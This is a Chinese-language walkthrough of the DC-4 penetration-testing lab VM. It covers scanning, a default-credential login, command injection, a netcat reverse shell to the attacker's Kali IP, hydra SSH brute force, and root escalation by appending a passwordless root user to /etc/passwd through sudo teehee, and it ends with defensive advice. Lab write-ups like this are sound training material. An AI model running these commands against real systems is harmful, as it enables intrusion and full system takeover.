dc-4靶场
字数 1183 2025-08-10 19:49:05
DC-4靶场渗透测试教学文档
1. 环境准备
1.1 靶场下载与配置
- 靶场下载地址: https://www.five86.com/downloads.html
- 使用VMware打开下载的靶机镜像
- 网络模式: NAT模式
1.2 攻击机配置
- 使用Kali Linux作为攻击机
- IP地址: 192.168.229.130 (示例)
2. 信息搜集阶段
2.1 发现靶机IP
- 使用
netdiscover或arp-scan等工具发现靶机IP地址
2.2 端口扫描
nmap -sV -p- <靶机IP>
- 发现开放端口:
- 80端口: HTTP服务
- 22端口: SSH服务
2.3 目录扫描
dirsearch -u http://<靶机IP>
- 检查网站目录结构
3. Web应用渗透
3.1 登录页面分析
- 访问http://<靶机IP>发现登录页面
- 尝试默认凭证:
- 用户名: admin
- 密码: happy (成功登录)
3.2 命令注入漏洞
- 使用Burp Suite拦截登录后的请求
- 尝试在参数中注入命令
- 发现命令注入漏洞
3.3 获取反向Shell
- Kali开启监听:
nc -lvnp 4444
- 注入命令(注意空格用+代替):
nc -e /bin/sh <Kali_IP> 4444
- 成功获取交互式Shell
3.4 提升Shell交互性
python -c 'import pty;pty.spawn("/bin/bash")'
4. 横向移动
4.1 枚举系统用户
- 检查
/home目录:- charles
- jim
4.2 发现敏感信息
- 在
/home/jim目录发现旧密码文件 - 将密码保存到本地文件
4.3 SSH暴力破解
- 创建用户列表(users.txt):
admin
jim
charles
jibril04
- 使用hydra爆破SSH:
hydra -L users.txt -P passwords.txt ssh://<靶机IP>
- 成功爆破出凭证:
- jim:
- jibril04:
- jim:
5. 权限提升
5.1 检查邮件
- 登录jim账户后发现有未读邮件
- 邮件内容包含charles的密码
5.2 切换至charles账户
su charles
输入邮件中获得的密码
5.3 检查sudo权限
sudo -l
- 发现可以使用root权限执行
teehee命令
5.4 利用teehee提权
- teehee可以向任意文件写入内容
- 向/etc/passwd添加root权限用户:
echo "asun::0:0:root:/root:/bin/bash" | sudo teehee -a /etc/passwd
- 切换至新创建的用户:
su asun
- 成功获得root权限
5.5 查找flag
- 在系统关键目录中搜索flag文件
6. 总结与关键点
-
信息收集:
- 全面的端口扫描和目录扫描是渗透测试的基础
- 注意收集所有可能的用户信息
-
Web渗透:
- 尝试默认凭证
- 发现并利用命令注入漏洞
- 获取反向Shell时注意特殊字符处理
-
横向移动:
- 检查所有用户目录寻找敏感信息
- 合理使用暴力破解工具
-
权限提升:
- 检查所有可能的提权路径
- 利用sudo权限执行的文件进行提权
- 通过修改/etc/passwd添加root用户是经典提权方法
-
清理痕迹:
- 渗透完成后应清理添加的用户和修改的文件
7. 防御建议
- 避免使用默认或弱密码
- 限制sudo权限,避免给普通用户不必要的root权限
- 对用户输入进行严格过滤,防止命令注入
- 定期检查系统日志和用户权限
- 敏感文件应设置适当权限,避免普通用户读取